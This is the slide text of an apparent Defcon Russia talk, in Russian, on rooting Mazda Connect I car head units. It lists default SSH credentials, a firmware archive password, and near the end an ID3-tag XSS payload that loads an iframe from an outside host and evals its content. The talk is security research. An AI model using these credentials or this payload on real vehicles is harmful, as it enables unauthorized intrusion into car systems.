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Connectivity Master Unit
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• Mazda Connect I (<2021, 70.00.XX)

*Картинки из интернетов



Мотивация
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*Картинки не из интернетов



Mazda Connect I
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*Картинки из интернетов



Mazda Connect I

Defcon Russia (DCG #7812) 5

*Картинки из интернетов



Mazda Connect I
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• By JCI (Johnson Controls)

• Freescale i.MX6Q (Cortex-A9)

• ARM

• Linux

• Wifi, Bluetooth, FM, …



Нужен root
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• Зайти через USB

• Зайти по сети

• Зайти через serial port

• Патчить флеш

• Прочие опции

https://gitlab.com/mzdonline



Зайти через USB
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https://www.youtube.com/watch?v=M-iJLuxwfzU

• Try autorun
• Bypass kiosk mode



Зайти через USB
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https://www.youtube.com/watch?v=M-iJLuxwfzU

• Try autorun
• Bypass kiosk mode all default staff
• …

FAIL



Режим диагностики
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https://www.youtube.com/watch?v=M-iJLuxwfzU

1

2

3

1 + 2 + зажать 3 =
= magic!?



Режим диагностики
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https://www.youtube.com/watch?v=M-iJLuxwfzU

1 зажать + 2 зажать = magic!?

2

2



Режим диагностики
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Magic?



Режим диагностики
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Режим диагностики
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FAIL



Режим диагностики. Что если?
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Зайти по сети
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https://gitlab.com/mzdonline

• SSH on Port 36000
• User: cmu
• Password: jci



Зайти по сети
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# cat /etc/ssh/sshd_config

…
PasswordAuthentication no

FAIL



Зайти через serial port
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https://mazdatweaks.com/serial/



Mazda Connect I
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https://www.youtube.com/watch?v=m_L6tzFoQ80
https://www.drive2.ru/l/500950417950114064/

https://www.youtube.com/watch?v=m_L6tzFoQ80


Mazda Connect I
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https://www.youtube.com/watch?v=m_L6tzFoQ80
https://www.drive2.ru/l/500950417950114064/

FAIL?

https://www.youtube.com/watch?v=m_L6tzFoQ80


Ищем смешную третью опцию
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• Качаем обновление прошивки

• Распаковываем

• Изучаем

• Ломаем?

• Profit!



Обновление прошивки

Defcon Russia (DCG #7812) 22

• Zip архив с паролем 5X/9vAVhovyU2ygK

• Подписан SHA256 + RSA 2048

• Внутри три типа файлов в gzip

– versions.ini

– execute.ini / files.ini

– eXXXXXX.dat



execute.ini
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Внутри Linux
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Полезная нагрузка



Внутри Linux

Defcon Russia (DCG #7812) 25

POINTS
OF
INTEREST



Как устроен UI
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HW



GUI
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• JavaScript

• 2012-2014 года

• Framework поверх WebSockets

• Что может пойти не так?



GUI
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GUI
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Patched GUI
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Удалили код активации JCI Test Mode



В mmui JCI Test Mode на месте
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Let’s trigger it
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$ id3v2 -2 -t '</span><iframe
src=http://some.domain/zz.html
onload="eval(this.contentWindow.name)"></iframe>
<span>' -a "a" -A "“
m1.mp3

http://ctfti.me/zz.html


DEMO TIME! 
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Q?
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• Можно ли стриггерить через FM?

• Можно ли отключить ассистент полосы?

• Можно ли дунуть в CAN?

• …


